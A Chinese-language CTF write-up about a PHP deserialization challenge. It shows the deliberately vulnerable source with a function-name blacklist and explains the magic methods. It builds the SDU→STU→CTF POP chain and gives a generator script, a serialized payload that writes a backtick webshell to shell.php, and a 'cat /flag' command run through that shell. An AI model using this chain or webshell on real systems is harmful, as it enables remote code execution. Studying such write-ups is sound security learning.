题目打开是这个代码
<?php
//error_reporting(0);
function PassWAF1($data){
$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
function PassWAF3($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}
function Base64Decode($s){
$decodeStr = base64_decode($s);
if (is_bool($decodeStr)) {
echo "gg";
exit(-1);
}
return $decodeStr;
}
class STU{
public $stu;
public function __construct($stu){
$this->stu = $stu;
}
public function __invoke(){
echo $this->stu;
}
}
class SDU{
public $Dazhuan;
public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}
class CTF{
public $hackman;
public $filename;
public function __toString(){
$data = Base64Decode($this->hackman);
$filename = $this->filename;
if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}
file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}
public function __destruct(){
echo "bye";
}
}
$give = $_POST['data'];
if (isset($_POST['data'])) {
unserialize($give);
} else {
echo "<center>听说pop挺好玩的</center>";
highlight_file(__FILE__);
}
关键函数
PassWAF1($data)
:检测$data
中是否包含危险函数名。PassWAF2($str)
:将字符串转化为十六进制和 ASCII 表示,格式化输出。PassWAF3($data)
:检测$data
中是否包含目录穿越字符..
或/
。Base64Decode($s)
:对传入的 Base64 编码字符串解码,并返回解码结果。如果解码失败,则终止程序。
写一下反序列化的魔术方法
1__construct
在实例化一个对象(new)时,会被自动调用
不允许重复声明
可以作为非public权限属性的初始化
2__sleep() 和 __wakeup方法
序列化时自动调用__sleep()方法
反序列化时自动调用__wakeup()方法
3__destruct方法 析构方法
类对象将要摧毁,也就是脚本执行完毕后清理工作是自动执行
只有在反序列化$data后 echo $data;或者强制结束进程system('taskkill /fi "imagename eq php.exe" /f');
4__call和__callstatic
类对象执行类不存在的方法时候,自动调用__call方法
直接执行类的不存在的静态方法时,会自动调用__callstatic方法
user:go() 静态调用 自动
5.get set 和 isset unset
__get 对不可访问属性或不存在属性 进行访问引用时自动调用
__set 对不可访问属性或不存在属性 进行写入时自动调用
__isset() __unset() 对不可访问属性或不存在属性 进行访问引用时自动调用
6 __tostring 方法
类的实例 和字符串拼接或者作为字符串引用时,会自动调用__tostring方法,对象echo自动调用
7 __invoke方法
当类的实例被作为函数的名字执行的时候,会自动调用__invoke方法
8__set_state方法
执行var_export自动调用
9__debugInfo() 方法的属性修饰
执行var_dump时自动调用
10 __clone方法
当使用clone关键字,clone一个对象时,会自动调用
pop链
先反序列化调用SDU类里的 __wakeup(),然后使用了 $Dazhuan()函数,当类的实例被作为函数的名字执行调用STU类__invoke(),然后执行echo $this->stu;调用CTF类里__toString(),然后执行解码 hackman
,利用PassWAF1和PassWAF3检查内容,写入到 filename
文件中。
所以pop链就是SDU-STU-CTF
绕过
hackman=base64_encode('<?=`$_GET[1]`;?>');绕过passwaf1passwaf2
payload
<?php
// 目标类
class CTF {
public $hackman;
public $filename;
}
class STU {
public $stu;
}
class SDU {
public $Dazhuan;
}
// 构造 CTF 对象
$ctf = new CTF();
$ctf->hackman = base64_encode('<?=`$_GET[1]`;?>'); // 文件内容
$ctf->filename = 'shell.php'; // 目标文件名
// 构造 STU 对象
$stu = new STU();
$stu->stu = $ctf;
// 构造 SDU 对象
$sdu = new SDU();
$sdu->Dazhuan = $stu;
// 序列化 SDU 对象
$payload = serialize($sdu);
// 输出 Payload
echo $payload;
然后post传参data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:24:"PD89YCRfR0VUWzFdYDs/Pg==";s:8:"filename";s:9:"shell.php";}}}
成功后访问/shell.php?1=cat /flag进行命令执行就可以拿到flag